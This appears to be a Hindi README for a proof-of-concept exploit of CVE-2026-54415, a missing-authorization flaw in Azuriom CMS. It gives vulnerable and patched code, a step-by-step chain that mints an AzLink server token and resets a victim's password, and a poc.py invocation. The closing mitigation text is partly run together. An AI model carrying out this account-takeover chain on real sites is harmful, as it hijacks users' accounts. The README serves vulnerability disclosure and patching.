
CVE-2026-54415 के लिए PoC — Azuriom CMS (<1.2.11) भंग एक्सेस नियंत्रण → खाता अधिग्रहण
Azuriom CMS < 1.2.11 में एडमिन सर्वर-प्रबंधन रूट्स पर अनधिकृत एक्सेस (Missing authorization) के कारण, कोई भी निम्न-विशेषाधिकार वाला एडमिन (जिसके पास केवल admin.access है) AzLink सर्वर टोकन बना सकता है और किसी भी गैर-एडमिन खाते को अपने कब्ज़े में ले सकता है।
| CVE | CVE-2026-54415 |
| उत्पाद | Azuriom CMS |
| प्रभावित | < 1.2.11 |
| सुधार | 1.2.11 — कमिट 4b744bc |
| CWE | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management) |
| CVSS 3.1 | 8.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
यह PoC एक पैच किए गए संस्करण के विरुद्ध रक्षात्मक और शैक्षिक उद्देश्यों के लिए प्रकाशित किया गया है। इसे केवल उन्हीं सिस्टमों पर चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। Azuriom
1.2.11+में अपग्रेड करें।
✅ स्थानीय Azuriom 1.2.10 इंस्टेंस के विरुद्ध एंड-टू-एंड सत्यापित — एक्सेस-नियंत्रण बाईपास, टोकन मिंटिंग, पुष्ट पासवर्ड परिवर्तन + पीड़ित लॉगिन, और एडमिन-सुरक्षा सीमा।
routes/admin.php में पूरा एडमिन पैनल एक ही can:admin.access ग्रुप द्वारा गेटेड है, और प्रत्येक संवेदनशील फीचर से अपना स्वयं का विस्तृत can:admin.* मिडलवेयर जोड़े जाने की अपेक्षा की जाती है। 1.2.11 से पहले, सर्वर-प्रबंधन रूट्स ऐसे किसी भी मिडलवेयर के बिना शिप किए गए थे:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
कोई भी उपयोगकर्ता जो एडमिन पैनल तक पहुँच सकता है (admin.access), सर्वर बना सकता है। admin.servers अनुमति बिल्कुल भी मौजूद नहीं थी — इसका अस्तित्व केवल फिक्स के बाद आया।
विक्रेता ने एक नई admin.servers अनुमति बनाई और रूट्स को उसमें लपेट दिया:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
उसी कमिट ने social-links और pages/posts.attachments रूट्स में पहले से लापता अनुमति जाँचों को भी जोड़ा।
सर्वर बनाने पर 32-अक्षर का सर्वर टोकन उत्पन्न होता है (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
यह टोकन AzLink API (routes/api.php) को प्रमाणित करता है, जिसका VerifyServerToken मिडलवेयर वैध Azuriom-Link-Token हेडर वाले किसी भी अनुरोध पर भरोसा करता है। AzLink खाता-प्रबंधन एंडपॉइंट्स उजागर करता है:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword केवल तब मना करता है जब लक्ष्य isAdmin() हो — हर गैर-एडमिन खाता अधिग्रहण योग्य है:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
सर्वर निर्माण सहेजने से पहले $server->bridge()->verifyLink() को कॉल करता है। mc-azlink प्रकार के लिए यह बिना शर्त सत्य होता है:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
इसलिए हमलावर कोई भी डमी address देता है, सर्वर फिर भी सहेज लिया जाता है, और नया टोकन AzLink सेटअप कमांड (/azlink setup <url> <token>) के अंदर पैनल में वापस प्रदर्शित होता है।
1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted
3. GET /admin/servers/{id}/edit → read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Log in as the victim → full account takeover
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
स्क्रिप्ट लॉगिन करती है, एक सर्वर टोकन मिंट करती है, उसे निकालती है, AzLink के माध्यम से पीड़ित का पासवर्ड रीसेट करती है, और टोकन + परिणाम प्रिंट करती है। सभी फ्लैग के लिए poc.py --help देखें। requests आवश्यक है (pip install requests)।
1.2.11 या उसके बाद के संस्करण में अपग्रेड करें।admin_servers का ऑडिट करें और किसी भी अप्रत्याशित सर्वर टोकन को रद्द करें।admin.access है।1.2.11 में सुधारितMIT — केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए।